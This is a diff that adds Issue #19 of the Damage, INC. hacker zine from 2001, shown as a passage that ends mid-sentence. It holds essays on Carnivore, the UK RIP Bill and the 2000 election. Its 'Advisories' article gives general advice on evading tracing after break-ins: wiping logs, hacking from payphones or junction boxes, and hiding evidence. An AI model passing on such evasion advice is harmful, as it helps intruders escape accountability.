unheard is a terrible waste. +That's exactly what is happening right now. Our struggle for true freedom is +going unnoticed and being ignored. We've been exploited too long, and allowed +our cries for freedom to be silenced. The fact still remains, we aren't free. +Now is the time to change that. Freedom isn't free. It must be chosen, sought +after and fought for vigorously. What better time than now? + +One last question. Two words: You down? + +Addendum: Five months have passed since the last issue. During that time, a +lot of shit happened. But I won't go into that. I'll just apologize profusely +for the long delay, and state that if I could dedicate all of my time to +releasing an issue every month... I'd probably do it. But I can't. And so, +life goes on. Damage, INC. goes on. And we'll keep... keeping on... until well +past the morning dawn. Nah. We'll just entertain and amuse you for as long as +we can. Until the next issue, don't touch that keyboard! Sit there and wait +patiently, cause you know you ain't seen nothin' yet! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Quotes: + +Blackie Lawless - "All monopolies are inherently corrupt by their very nature." + +Shatazar - "That was a nice find..." (during a short trashing expedition) + +THC Phreak - "You know, nobody has ever read anything like this before. *I've* +never read anything like this before. Once again, we've managed to capture the +essence of individuality. We're taking things to a whole new level. And we're +still the phreakiest." + +Helena3 - "I believe intelligent life exists on other planets -- it's just +difficult to find on this one sometimes." + +BLACKENED - "Dehypnotize, Decentralize, Revolutionize, Unite!" + +URL: http://surf.to/damage_inc +Email: damage_inc@disinfo.net +Voice Mail: 1-800-222-6000 Box "NUKEYOU" + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.019 b/textfiles.com/groups/DAMAGEINC/damage.019 new file mode 100644 index 00000000..90780726 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.019 @@ -0,0 +1,3879 @@ + ____ _____________ ___________ _____ + ____\ |_\_ | _ _ |_\_ | _ | _ |__________ _ _ ___ + | _ | _ | | | | _ | | | | |-| _ | | ______\ | /___ + | | | | | | | | | |____ | ___| | | | |-| \ |zZ! /___ + l______|_____|__|-|__|_____|__/__|___\___|_|_|___|_ ___________ ___________ + | _ | _ | |-| | ___/_ | | _ \_ __/_|_ _ | \_ + D a m a g e , I N C .| | | | | | | |___ | | | | | \_ _/ | | |__/ + | | | ___| | | | | | |--| ___| | | ___| | + N e w s l e t t e r |__|__|___\ |_______|_____|_____|___\ |__|__|___\ |__| + + Volume 2, Issue #19 + (Released: 01/01/01) + + "Propagandize." + + http://surf.to/damage_inc + damage_inc@disinfo.net + +=============================================================================== + C O N T E N T S : + +> INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +> ADVISORIES - Rolling the dice: Hacker tracking and you. + % Search String: {ADVISORIES} + +> BIG BROTHER BASHING - FBI's Carnivore devours online privacy. + % Search String: {BIG BROTHER} + +> CONSPIRACIES AND COVERUPS - N/A in this issue. Shout "conspiracy!" + % Search String: {COVERUPS} + +> CORRUPTION AND GREED - Politics As Usual. + % Search String: {GREED} + +> CROSSED WIRES - cDc Global Domination Update PR for your viewing pleasure. + % Search String: {WIRES} + +> DAMAGE, INC. REVIEWS - Snapshot of things we currently follow/read. + % Search String: {REVIEWS} + +> DRUGSTORE COWBOYS - Got drug propaganda? Trip on this. + % Search String: {DRUGS} + +> H/P INF0 - Bringin' back the old sk00l and hittin' hard with it. + % Search String: {H/P} + +> INTERVIEWS & INTERROGATIONS - An interview with Grandmaster Ratte' (cDc) + % Search String: {INTERVIEWS} + +> NEWS FROM THE TRENCHES - Damage, INC. updates, news dispatches and more. + % Search String: {NEWS} + +> OBJECTIVE OPINIONS - Hacker Culture, The Propaganda Machine Rolls On, etc. + % Search String: {OPINIONS} + +> REPORTS FROM THE FRONT - Propaganda reports delivered directly to your screen. + % Search String: {REPORTS} + +> THOUGHTS, POEMS AND CREATIVE WRITING - Crazy, entropic rants & writings. + % Search String: {WRITING} + +> CLOSING COMMENTS - Final propagandistic material for this issue. + % Search String: {CLOSING} + +=============================================================================== + + +< DISCLAIMER > + +All articles contained in the Damage, INC. Newsletter are for informational +purposes only. Damage, INC. is not responsible for how any of the information +presented is used. It is not intended to be a manual with instructions to be +followed. We won't be held responsible for any damages caused, illegal and +fraudulent acts committed, etc. by our readers. If/how you use the information +included herein is entirely up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be distributed and sold for profit. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, you must *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are hereby +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards and sites only. + + Copyright 2001 by Damage, INC. + All Rights Reserved. +=============================================================================== + + +INTRODUCTION: + +This is the dawn of a whole new era. Imagine a universe converging on another +universe and witnessing that as we travel around the sun at over 66,000 mph +on our tiny blue planet. Picture technology merging flawlessly with hacking, +hacker culture, and expressed in words. Technology is information. Think of +that. Think about the possibilities and conveniences that technology affords +you for a minute. Think about what living without any advanced technology at +your disposal would be like. Would you be able to adapt? Would you survive? +Would you be more, or less happy than you are right at this very moment? Flash +freeze that image in your mind. Then fast forward to the future. Think of what +technology *might* be like a decade or more from now... With such very rapid +advancements, you may not even be able to do that. You may not be able to +predict or theorize about it. It might be beyond what you can currently +imagine. Still, use your imagination. What types of problems will arise due +to new technology being used, misused and abused? What potential hazards +could there be because of it? How could technology be used against you? And +how could it be used for your benefit, to your own advantage? These are some +of the questions you should ask yourself. These are some of the things that +you should think about and consider from time to time. + +As for hackers and technology, how will the culture evolve? What will the +h/p scene be like decades from now? How will hacking change? How will security +change and evolve? How will privacy issues change? How will the government use +technology in the future? How will private companies use it? What will they do +with the information they've gathered? And how will all of it affect you? + +Obviously these are only rhetorical questions. They are huge, and well beyond +the scope of this zine. Nevertheless, they should still be asked and thought +about. Ignoring them only serves to bury your head in the sand and pretend +that technology isn't changing the world. The fact still remains that it is, +and it will continue to do so. It's better to be aware and somewhat prepared, +than to simply walk in blind and ignorant. + +The same goes for security. Complacency and a false sense of security are the +main ingredients in a recipe for disaster. If you think your security is +infallible, without even testing it, monitoring it, updating it and shoring it +up with patches against new exploits that are known, you'll be done in +eventually. It's only a matter of time. + +When the planets collide... think of the sound they'll emit. Think of the +tremendous energy they'll disperse. Think of what will be destroyed and what +will be created in the process. The same goes for technology. The same rules +apply as when planets collide. In this new Millennium, technology is being +created, advanced and moving at the speed of light. It's like no other time +in history. But it isn't all good. Monumental problems and issues of privacy +are arising by the millisecond. People need to be consciously aware of how +technology is affecting them in their daily lives. They need to know what's +happening behind their screen, behind the scenes. As in, who's keeping track +of their activities, who has their information, how many databases are they +in, and how easily can their personal profiles be assembled, bought, sold, +obtained through deceptive and illegal means, etc. These issues are complex +and must be examined on an ongoing basis. Technology can be a great benefit. +But it can also be a huge threat and a powerful weapon in the control of large +corporations, government and other agencies. Big Brother isn't just a mythical +entity. It's here. It lives. It breathes. It exists. Don't choose to ignore +it. Don't just turn a blind eye. Don't be influenced and brainwashed. + +Propagandize don't criticize. Choose dictators from history to diefy and +lionize. Fire up the propaganda machine, recruit and mobilize. Once the spin +starts rolling, and you have them where you want them, labotamize. Take their +minds and brutalize. Influence and brainwash until they respect and see you as +wise. Change their ethics and beliefs and cut them all down to size. Make the +masses into zombies slaves under the banner of America, and Americanize. +Exploit them to death and capitalize. Then use all of that to your advantage +so you can commercialize further and profitize! Go on now, propagandize. + +Enough ranting. Let the mind games and propaganda begin. Come with it now... + + +ADVISORIES - {ADVISORIES} +Rolling the dice: Hacker tracking and you. + +You feelin' lucky punk? Okay, so you aren't all little know nothing script +kiddies armed with port scanners, exploits, filled with malcontent, rage and +a desire to go out and get your kicks breaking into systems without forethought. +However, I'm positive that at least *some* of you are. And this article was +written with you in mind. The intention of it was to prevent you from doing +something stupid, without first considering the consequences. You can consider +this to be a warning of sorts, or a "STOP... THINK FIRST BEFORE PROCEEDING" +primer. At any rate, it isn't a technical advisory. You won't find k00l new +scripts and exploits in here to use. What you will find however, is an article +explaining ways to avoid being traced. Along with that, there's some commentary +on what's going on in the scene, with hackers (or "former" hackers) being hired +to track other hackers that've accessed sensitive systems and data. Take it +for what it is. The majority of it is just common sense. But I felt that +Damage, INC. might as well put it out there, for clueless kids that are fucking +around with shit they don't know about, and getting caught. Yes, that's still +happening on a great scale. So, if you fit into that category and don't want +to get busted needlessly for something, when it could've been avoided, read on. + +The importance of logs: + +Regardless of the system you're exploring, no matter what OS it's running, or +how you got in, or the level of access you've managed to acquire on it, the +log files are still extremely important. It's actually sickening to read about +a kid being busted, or see an interview of them, and they say "I wasn't careful +at all. I didn't think to edit/remove the log files. I used no stealth. I +didn't have to get traced and caught. I could've avoided it." or something +along those lines. If they had the knowledge and ability to avoid it, why the +fuck did they leave the logs untouched? Did they simply forget, and leave them +there, unmodified, in their haste? That's more than a serious error. That is +inexcusable. + +The moral is kids, IP scanners and port scanner, and r00t kits... and all of +your thousands of exploits you've collected... mean literally shit if you get +in and forget to do anything with the log files. Ya dig? + +Location: + +It's the same in hacking as with real estate. Location, location, location. +Say that a few times. Scream it aloud. Hypothetically, why break into say... +a NASA server, or a .mil system from home using your desktop system and +dialup/cable/DSL connection? Why? Why launch anything from your box that's +sitting in your own home? Once again, why? And for that matter, why use your +own account, with your IP address (not through any proxy servers, totally +unspoofed)? Why? + +All too often the media gets a nice juicy story about how a "kid hacker" was +caught breaking into a high profile system, downloading data from it, or +launching a DDoS attack... or spreading a virus... or whatever... and they +did it from home, using their own dialup Internet account and their phone line. +Are they just begging to be traced? You don't have to hire a fucking expert +to track you down if you're gonna be that inept, incompetent and stupid. + +Instead of pulling shit like a punk, why not grab a laptop, go to a payphone +with a jack, or hookup to a junction box or something... have other accounts +with you to use, and still take all the necessary precautions (so that it's +difficult to trace the connection back to your area code, let alone you and +your address/phone line) You've heard of field phreaking, right? Well, when +it comes to high profile systems, *don't* fuck with them from home. Get your +little field hacking kit together... and go. + +Stealth: + +In simple terms, the objective of stealth, is to make yourself as anonymous +and transparent as possible. You've heard of stealth firewalls right? +Essentially, it makes ports invisible... so it's like they don't exist or +your system isn't online or powered on. + +Stealth encompasses so many things. It extends from your name, location; +meaning an address, phone number, and any other identifiable things, to your +connection... along with all that goes with it. Simply put, your system itself +can betray you, and give away valuable packets of information which can be +used against you. Covering these traces of info, or eliminating them entirely +wherever possible, helps your goal of preventing being tracked. This is what +stealth is all about. There are many ways of accomplishing this goal, but, +it is beyond the scope of this short article. Maybe I'll explain a few ways +in a future article. + +Stealth also includes things such as not making your actions known by means +of telling others about them. And, anything that can be considered or construed +as evidence against you, should be well hidden elsewhere at another location +or destroyed if not needed. Trophies can get you jail time. So, safely secure +your incriminating data. + +Closing: + +Yes, it's a rush. You can get a thrill out of being somewhere you're "not +supposed to be". Unauthorized areas of anything (not just systems) can be fun +to explore. And, it's understandable that a lot of kids get their kicks from +doing it. However, think of the consequences. Don't let it come as a surprise +that they exist. Playing dumb won't work. Excuses won't work. You can't +social engineer the feds out of serving an arrest warrant. You can't social +engineer judges in court. Trust me, it doesn't work that way kids. + +In conclusion, it's up to you what you do, what precautions and chances you +take. If you want to roll the dice, and end up having to go through a bust +situation with criminal charges laid on ya by the feds, by all means, ignore +all of this. And ignore anything else that you've ever read about how to +avoid being traced. Don't even consider trying to make yourself as stealthy +and anonymous as possible. If you want to play Russian roulette with a loaded +pistol (not revolver), start pulling the trigger kid. If you want to have a +Mexican standoff with the feds... be my guest. It won't make you any cooler. +Won't give you a big rep. You'll get your 15 mins of fame out of it, sure. +After that though, you're still in jail and relatively unknown and forgotten. +And you have a record for life. If you have no real skills, you're fucked when +you get released. Is it worth it? If you fuck up, that's what it's like. +Think about it. Prepare. Be aware. Be stealthy, logical, methodical. Plan +things well ahead of time. If you're setting things up, double check it. Test +it on systems of far less importance. Consult someone you trust and seek +advice. Think about what might go wrong ahead of time, instead of after the +fact. You don't want to be sitting in a cell, serving time, saying "Damn, I +wish I would've done this... or hadn't forgotten to do that..." + +As if it isn't obvious already, this is serious now. You may think exploring +someone's system, reading and downloading data files isn't illegal. You may +decide to be lax in your measures due to that thinking. Well, that logic isn't +just flawed, it's totally fucked. In case you haven't realized it yet, if +you play around on any sensitive systems, they will try to pursue you no matter +what. You can break into U.S. systems from England, and they'll try and track +you and hunt you down. Yes, that's a fact. You don't have to use or sell any +of the information you take either. Hell, you don't have to take a single +1 byte file. Once inside, it doesn't matter what you do. If you leave a trace, +that's grounds for them to go after you. Think first, then act if you think +the benefits outweigh the risk. + +Written by THC Phreak / Damage, INC. (C)opyright 2000. + + +BIG BROTHER BASHING - {BIG BROTHER} +FBI's Carnivore devours online privacy. + +In its heavy-handed efforts to wage war against crime, the FBI has unleashed +another privacy killing weapon upon "thought criminals" that "threaten" the +United States of America. Despite an extensive arsenal of electronic +surveillance systems and techniques, the FBI deemed it necessary to create +the software program known as "Carnivore." The official purpose of Carnivore is +so the FBI can conduct electronic surveillance of email and Internet +communications at an Internet service provider (ISP) facilities in order to +fulfill "legal court orders." In other words, Carnivore is the FBI's primary +Internet wiretap. + +The FBI stated that Carnivore is needed in order to "provide jurors an +opportunity to determine factual issues based upon a defendant's own words." +Who are examples of suspects that the FBI would use Carnivore to eavesdrop on? +FBI Assistant Director Donald M. Kerr answered that question at a House +Judiciary subcommittee on the Constitution: "Criminals use computers to send +child pornography to each other using anonymous, encrypted communications." +"Hackers break into financial service companies' systems and steal customers' +home addresses and credit-card numbers, criminals use the Internet's inexpensive +and easy communications to commit large-scale fraud on victims all over the +world, and terrorist bombers plan their strikes using the Internet." It makes +me sick to see that the FBI Assistant Director places hackers akin to the +perverts, fraudsters and terrorists that he mentions. However, it isn't +surprising to get that kind of fucked up rhetoric from the Thought Police. The +FBI violates the privacy of innocent citizens far more brutally than hackers +could ever desire to. + +The FBI has been very cautious not to reveal many details about how Carnivore +works. Briefs regarding Carnivore that have been sent to the Department of +Justice and the White House staff have been classified. The FBI is concerned +that publicly revealing certain weaknesses or other technical information may +allow hackers to defeat Carnivore. What they did reveal on their web site +is a very basic description of how they claim Carnivore works, which I have +imported below: + +"The FBI connects a commercially available one-way tapping device at the + ISP's access point. This tap produces an exact copy of all data at the access + point. The tap also provides electrical isolation to prevent Carnivore from + having any kind of impact on the ISP's network. The copied network traffic + then flows into the collection system where it is compared against a predefined + filter. This filter only passes traffic authorized for capture by the court + order. Traffic that passes through the filter continues on to be archived to + permanent storage media. No other data is ever stored to permanent media, nor + is any information recorded about traffic that does not match the filters. All + information collected is maintained and, in the case of full content + interceptions, is sealed under the order of the court. This information, as + well as information obtained pursuant to pen register and trap & trace + authorities may subsequently be made available by the court to the defendant." + +"[Carnivore] provides the FBI with a unique ability to distinguish between + communications which may be lawfully intercepted and those which may not. + For example, if a court order provides for the lawful interception of one type + of communication (e.g., e-mail), but excludes all other communications (e.g., + online shopping) the Carnivore tool can be configured to intercept only those + e-mails being transmitted either to or from the named subject. Carnivore + serves to limit the messages viewable by human eyes to those which are strictly + included within the court order." + +If the FBI told the truth above, they would have us believe that Carnivore is a +sophisticated filtering program that agents would use to view Internet traffic +that only pertains to the court order in their possession. If this isn't +disinformation, I still have a definite problem with the fact that all ISP +traffic is at the fingertips of the Thought Police. In the past, there have +been confirmed reports of wiretap abuses by the FBI. However, instead of +performing wiretaps in violation of the 4th Amendment on a small number of phone +lines per search warrant, the FBI agents would have access to all of the traffic +on an ISP. In my opinion, it would be the equivalent of allowing the FBI to +have instant and convenient access to every single conversation on several huge +trunks. Then a filter in the earpiece and the agent would be told, "OK, you +have the ability to listen to any conversation on a trunk full of phone lines, +but you have to use this earpiece filter to only listen in on the little line +that pertains to your court order." However, it is also possible that the FBI +is overstating the abilities of Carnivore. It is uncertain if the FBI has the +ability to write something that could capture and scan so much data without +bogging down an ISP. + +Regardless of Carnivore's true nature, it all comes down to trusting the FBI, +and the agent using Carnivore. It is the corrupt FBI agent that would violate +the privacy rights of an innocent person. There have been enough reported +privacy abuses, that the FBI should not be blindly trusted with such tools. +After researching the FBI's long track record of civil privacy rights abuses, I +firmly believe that they should not have tools such Carnivore available to them. +Big Brother and the Thought Police cannot be trusted. + +ISP owners also have concerns with being forced to allow the installation of +equipment and software onto their systems without knowing the full nature of how +it works, or what it is doing to their system (performance and security +concerns). Some want the FBI to publish information on the software used so +that ISPs can be sure that it does what the agency says. + +Also, several civil rights groups, including the ACLU (American Civil Liberties +Union), have expressed grave concerns about Carnivore. Most of their concerns +relate to the fact that the FBI is unwilling to give any substantial detail as +to exactly how Carnivore operates. In fact, the ACLU has requested that the +FBI surrender Carnivore's source code so that it can be analyzed. FBI has +flatly refused to honour the requests of any of the civil liberties groups. + +The FBI may be able to ignore organizations like the ACLU, but they were +surprised by the concerns of some U.S. Congressmen. "The potential for abuse +here is tremendous," said Rep. Spencer Bachus (R-Ala.). "What you're [The +FBI's] saying is 'Trust us.'" The toughest questioning came from Reps. Jerrold +Nadler (D-N.Y.) and Robert L. Barr Jr. (R-Ga.). Nadler peppered the officials +with a series of questions that underscored the point that Carnivore, under the +laws that govern pen-register surveillance, could be used without the difficult +showing of "probable cause" required in a telephone wiretap. After the hearing, +House Majority Leader Richard K. Armey issued a statement saying members of both +parties showed "strong concerns that the administration is infringing on +Americans' basic constitutional protection against unwarranted search and +seizure. "We should be sensitive to any potential for abuse," said Florida +Representative Charles Canady, the panel's chairman. "Even a system designed +with the best of intentions to legally carry out essential law enforcement +functions may be a cause for concern if its use is not properly monitored." + +The stunned FBI replied that their agents have too much integrity, and would +risk their careers if they used Carnivore outside the scope of their search +warrant. In fact, most of the information regarding Carnivore on the FBI's web +site is dedicated to defending the "integrity" of their tarnished law +enforcement organization. I'll let you read their weak reasons why Carnivore +doesn't threaten innocent Internet users' right to privacy: + +"The use of the Carnivore system by the FBI is subject to intense oversight + from internal FBI controls, the U. S. Department of Justice (both at a + Headquarters level and at a U.S. Attorney's Office level), and by the Court. + There are significant penalties for misuse of the tool, including exclusion of + evidence, as well as criminal and civil penalties. The system is not + susceptible to abuse because it requires expertise to install and operate, and + such operations are conducted, as required in the court orders, with close + cooperation with the ISPs. The FBI is sharing information regarding Carnivore + with industry at this time to assist them in their efforts to develop open + standards for complying with wiretap requirements. The FBI did at the request + of the Communications Assistance for Law Enforcement Act (CALEA) Implementation + Section, at an industry standards meeting (the Joint Experts Meeting) which was + set up in response to an FCC suggestion to develop standards for Internet + interception." + +The FBI's infamous arrogance is very apparent. Their agents, which have gotten +off free, or with mild slaps on the wrist for prior wiretap abuses, will be kept +in line by the idle threat of losing evidence, or jail time. Meanwhile, they +also say that Carnivore is too complicated for anyone outside of the FBI to +comprehend and operate. All that tells me is the only thing protecting innocent +users' privacy is internal investigations (meanwhile the FBI has not mentioned +if Carnivore logs or does and audit of the agent's actions) and their assumption +that people outside the FBI are too ignorant and stupid to use their system for +their own purposes. Again, the message of "trust us, we won't abuse your +privacy even though we need the ability to do it" is the only safeguard the +FBI deems necessary. + +Despite all of the criticism and concerns from prominent groups and politicians, +as well as individual citizens, Carnivore still continues to function the same +way since its inception. The only changes proposed are cosmetic changes to +Carnivore's interface. The FBI is making sure that "accidental" abuses of +privacy due to user input errors are eliminated by adding a few more caution +screens. While this may make Congress feel more at ease, all it does is adds +a few mouse clicks for the privacy abusing agent. The fact that no external +auditing of the FBI's actions was not mentioned in any of the press releases +and panel transcripts that I had access to troubles me. This is absolutely +wrong. No one is watching the Thought Police, but the Thought Police +themselves. Again, I must say that the FBI, or any other government +bureaucracy, cannot be trusted. They are incapable of policing themselves. +Why? They'll be too busy watching what individuals are doing on the Internet to +worry about policing privacy abuses by FBI agents using tools such as Carnivore. + +Written by Shatazar / Damage, INC. (C)opyright 2000. + + +RIP personal privacy of UK Internet users? + +"Government is too secretive. Too many decisions are taken behind closed doors +without proper consultation with the public. Government then rushes new laws +through Parliament and bad legislation is passed. People want to be better +informed about what government is up to, and be consulted more." --- Jack Straw +Home Secretary to Her Majesties Government. + +First impressions to many of the h/p scene is that it is childish and damaging +and there it ends for many who choose to remain ignorant. The second impression +for those who are more open minded is that for some it is a means of attaining +knowledge that has been purposely hidden from sight of the public. Even +government officials admit they are too secretive in their decision making. + +So what if the government wanted to play at h/p, what if they wanted to know +what was happening on the Internet within the UK or your home nation? And more +importantly what the hell am I talking about? The Regulation Of Investigatory +Powers (RIP) Bill and it's publicly reported purpose to combat the increasing +problem of crimes committed online, mainly child pornography, fraud, terrorism +and drug trafficking. + +The government already has powers to eavesdrop telephonic communications via +listening stations such as Government Communications Headquarters +(http://www.gchq.org.uk) and the NSA's Menwith Hill (http://www.menwithhill.com) +Time to learn a new acronym GTAC or Government Technical Assistance Centre. +Remember Jack Straw that I quoted earlier? He's the guy who issues the warrants +to security agencies to intercept telephone and postal communications and will +be doing the same for GTAC and online traffic. The RIP Bill that will allow this +to happen was secretively being rushed into legislation behind closed doors to +meet a 1st October 2000 deadline. It was passed in July and will be implemented +on 5th October. + +As new legislation the RIP Bill will be costly both to personal privacy and +economics. It was economic cost that saved personal privacy from surveillance +legislation for the Internet before when the Electronic Commerce bill contained +similar proposals (was altered and passed as law June 2000). Who was it that +saved us at the last minute? Big business is who. As we all know multinational +corporate entities don't like all their activities to be monitored too closely. +Don't relay on them to bail us out again, do something. The cost of the +proposed RIP Bill runs into millions of private and public money. The GTEC +extension to MI5 (http://www.mi5.gov.uk) set up by the National Criminal +Intelligence Service (NCIS) will cost œ25 million in tax payers money (unless +MI5 decides to run a CIA style fundraiser, and we ain't talking yard sales or +girl guide cookies). ISP's are expected to cough up between œ44,700 to œ113,300 +in cost for the first year and œ19,000 thereafter, which will get passed on to +their subscribers. This cost to ISP's is for the interception capabilities to +be integrated into their system that they will be required by the RIP Bill to +install. With 400+ ISP's in the UK that totals between œ17.88 million and +œ45.32 million. + +Charles Clarke MP, who is responsible for pushing the RIP Bill through the House +of Commons, has been noted to say that he "...wants to make the UK the best +place in the world to do electronic business". Strange thing to say considering +the bill he is responsible for is making UK ISP's and e-commerce business' +consider migrating their operations to neighboring countries like France and +the Irish Republic who are a little more friendlier. Among these are Poptel, +UUnet, Claranet and GreenNet. + +The RIP Bill requires a warrant to read online traffic, but communications data +will not require a warrant. Communications data include things like your e-mail +address book and website logs. So any public authorities from Department of +Social Security and Health Service to local authorities and so on can have +access to see who you e-mail and what material you browse. + +Part 3 of the RIP Bill gets a little more interesting and concerns the +disclosure of decryption keys. This requires the police to obtain a warrant +from a judge. The police can request a warrant on the grounds of "for the +purpose of preventing or detecting serious crime". I'll just run that by you +again in slow motion "for the purpose of...detecting serious crime", not if +there is a serious crime, no need for crime at all just detecting serious crime +is enough. The bill doesn't stop there and neither am I. As we read further +into the RIP Bill failure to comply to the warrant is a maximum of two years +imprisonment. Don't bother telling anyone you've been served with a warrant +because that will earn you an extra three years. Failure to produce decryption +keys also means you are presumed guilty until you prove yourself to not be in +possession of the means to obtain the decryption keys. An interesting twist to +the law to be guilty until proved innocent. Did I mention that the government +could hold onto the decryption keys as long as it likes once it has obtained +them? Well it can under this new bill. A personal thought what of online +traffic that somebody in New York retrieves from a server in Paris? Will that be +monitored and logged if it passes through the UK? If it doesn't fall into the +bounds of the RIP bill and GCHQ ignores it I am confident that Menwith Hill may +keep an eye on it. + +A bill similar to the RIP bill has already been passed as law in the +Netherlands. Here is why it exists according to Jason Thomas of PC Plus +magazine. "[Proposals] in the RIP Bill first appeared in the Electronic +Communications Bill. They resulted from last year's European Parliament +resolution calling for interception at ISP level. This in turn came from a +resolution from the Lawful Interception of Communications council +(Enfopol)...looking even further back the Enfopol documents were inspired by a +series of secret meetings between various international law enforcement +agencies. They were called the International Law Enforcement Telecommunications +Seminars (ILETS) and met without parliamentary knowledge or government +supervision. The United States Federal Bureau of Investigations was the +initiating body, and the measures ELTIS [I think that should read ILETS] agreed +became the basis of Enfopol documents, which ultimately have dictated UK +government policy. So it seems a group of unaccountable individuals from +various security services have dictated European and UK policy." + +What effect does this have on those it is intended to imprison? If you're a +terrorist or the accountant for a drug cartel conveniently loosing the +decryption key offers a shorter prison sentence than your real crimes. The bill +is not going to work effectively against the serious criminals it is supposed to +protect the unknowing public from, a public that is suspicious of the +governments intentions. The bill is flawed and can be worked around. The bill +does not have power over direct modem to modem connections but this would +probably be under the jurisdiction of GCHQ. For a $10,000 set-up fee and $1,500 +a month you can have your web services run from a platform a few miles off the +Felixstowe coast (http://www.sealandgov.com and http://www.havenco.com). The +Inland Revenue and Customs and Excise insist that these platforms still come +under UK law. It is uncertain if the bill applies to information stored in +other countries but as Casper Bowden (Director of Foundation for Information +Policy Research) said, "By analogy, you are no longer talking about whether +someone has the key to a safe, the question is whether they even have a safe." +By using a free archiving service like xdrive (http://www.xdrive.com) or +Netstore (http://www.netstore.com) from public Internet access points in +combination with steganography. For those who are unsure steganography is the +concealment of information within images and sound files by using unused bits +and inaudible frequencies. The RIP bill will insist you reveal the +steganographicly hidden data but they got to know it exists first. This offers +some protection; the hidden data has to be known to exist, so keep an eye on the +information your browser leaves behind, as a warrant is not need to seize it. +Some now believe that by forcing criminals to find workarounds it is encouraging +them to use the Internet as a world wide safety deposit box. + +Things to do if you disagree with the RIP bill, one mail your MP, chances are +your MP is not fully aware of what the RIP Bill means. And don't be insulting or +patronizing this will not help. Not many people have faith in their MP so go to +step two. It is believed that GCHQ and Menwith Hill already go out of their way +to intercept PGP signed and/or encrypted e-mails, so send as many as you can, +I'm sure they would love the over time. I am sure there is more that can be +done, be creative in your protest not destructive. + +The Internet is not a birthright and no matter how many people take it and it's +freedoms for granted it is a privilege and one worth protecting. In the main +the Internet is self-regulating and self-repairing and will remain so if users +are trusted to take responsibility for their own data and connections. The +Internet is a vast entity, Damage Inc. only takes responsibility of this part, +cross it's and others borders of your own free will. + +All information is believed to be correct at the time of writing but for up to +date information visit http://www.stand.org.uk + +Written by Alfie Ilkins. + + +The HRDC Big Brother Database Secrets Revealed. + +Look for an article on Human Resources Development Canada... and the ongoing +saga that is our relationship, with infrequent correspondence by mail and +bureaucracy from hell... in the next issue (hopefully). However, I can't +guarantee anything as the Canadian government's response time is so utterly +slow, it's deplorable. But, at this juncture, it's *their* turn to wait for +my reply to the latest offering in govspeak that they've sent by mail. So, +in a sense, they're anxiously awaiting my response to their last letter... and +I can imagine a bureaucrat sitting there impatiently, eager to receive word +from this dissident in arms. Rest assured, the article will contain some +*hilarious* quotes from government officials. Things so damn funny, we couldn't +have produced and fabricated something of equal humour. If you want to meet +some truly amusing people, hang around government buildings, be social and +strike up conversations with low level zombies employed as gophers and paper +pushers... They'll feed you more material than you can ever imagine. + +To hold you until the article arrives, I'll give you one direct quote... +"Human Resources Development Canada Longitudinal *WHAAAAAAT*???" - the response +given to me when I made a formal request to see a copy of my file, while +standing face to face with a government worker at the local HRDC office. That's +right, she didn't have a clue what I was requesting, even though the faction of +government she is employed by was responsible for creating and maintaining that +specific database and files on every Canadian citizen. Either she feigned +ignorance extremely well, or she simply was that ignorant. + + +CORRUPTION AND GREED - {GREED} +Politics As Usual. + +Bush and Dick. Bore and Lieberman. What about Bob (Dole)? Where's Ralph? +Hey, there's a Pat (Buchanan) too! And for the love of phreaks, will someone +please call Ross Perot and ask for his endorsement? That pint sized, midget +mouthpiece that always pretends he can't get a word in edgewise is alright in +my book. "Larry, can I talk? Can I say somethin' now?" - Perot on CNN's Larry +King show. Hell, at least Perot has the statistics to prove *anything*. :) + +Whatever happened to Donald Trump? Or, how about Steve Forbes? I say they +should bring those bastards back into the running. Bring em back into the +mix. And anyone else with money to burn that wants a piece of the action! + +Plus, America *needs* preacher Gore. You know, the flamboyant, over the top, +in your face Gore. The one that rants on stage like an old sk00l style Baptist +preacher straight outta the early 1920s. The one with hair flying wildly in +the wind, shirt buttons undone and tie loosened so it can flip flop around. +The one with charisma and energy. The one that stands defiantly on stage and +angrily screams "I'll fight for you!" at onlookers that've been carefully +selected out of his most ardent supporters. That Gore. You know who I mean +now? Preacher Gore! Ah yes, the many faces of Gore... But that's my personal +favorite of all his personae, by far. + +Seriously folks, how many of you voted? How many of you thought it would make +any difference? How many voted for Ralph Nader? How many thought the election +results would be so close, and the Presidential race relying on recounted votes +in Florida? Did you hear the word "chad" (dimpled, pregnant, dented, hanging, +and fucked) used enough by the media? Did you enjoy the media's television +coverage on election night? Wasn't that something to behold. Predictions +abounded. Egg was on face, everywhere! Egg and cheese omelets for all. Crow +pie by the truckload. It was a virtual feast for the media and masses. More +than just watching the usual election coverage, it was time to chow down at +2am EST. Wasn't it great? + +"We're calling Florida for Gore. No, it's too close to call... Wait, Bush is +now the unofficial President elect. Uhhhh... hold on folks. We have egg on +our face again. Mix up a few more omelets for our nice shiny suits. We're +gonna need it by nights end." + +Watching the news anchors getting flustered and frustrated was just hilarious. + + +New Suit: $2,000 + +Imported Coffee: $500 + +Haircut: $150 + +Fucking up Presidential Election 2000: Priceless + +Oh hell yeah. All apologies MasterCard. But, that's our attempt at parody. +As if all the comedy shows haven't already used your advertising campaign in +parodies to death already anyway. So get over it. + +Politics as usual simply means a lack of real choices in political figures +(or figureheads), and the same old partisan, political bullshit. This isn't +about fairness. It isn't about "having every vote counted" as Gore repeated +for so long ad nausea until everyone was sick of hearing it. Granted, it was +very close in Florida. Still, let's face it, he just wanted to be the next +President. It was all about winning. And he was willing to use his spin +machine to try to get into the White House, no matter what it took. So, fuck +it. + +Not that Bush and Dick are any better. Kids, with George W. Bush you have +reason to live by the words, "PHEAR THE BEAVER!"... because our leader is a +babbling idiot that can't string two words together to save his life. And he +knows nothing about foreign policy, as well as many other things. Having a +daddy that was President is more than a foot in the door, sort of speak. Having +a brother who's Governor of Florida doesn't hurt either. Affluence and 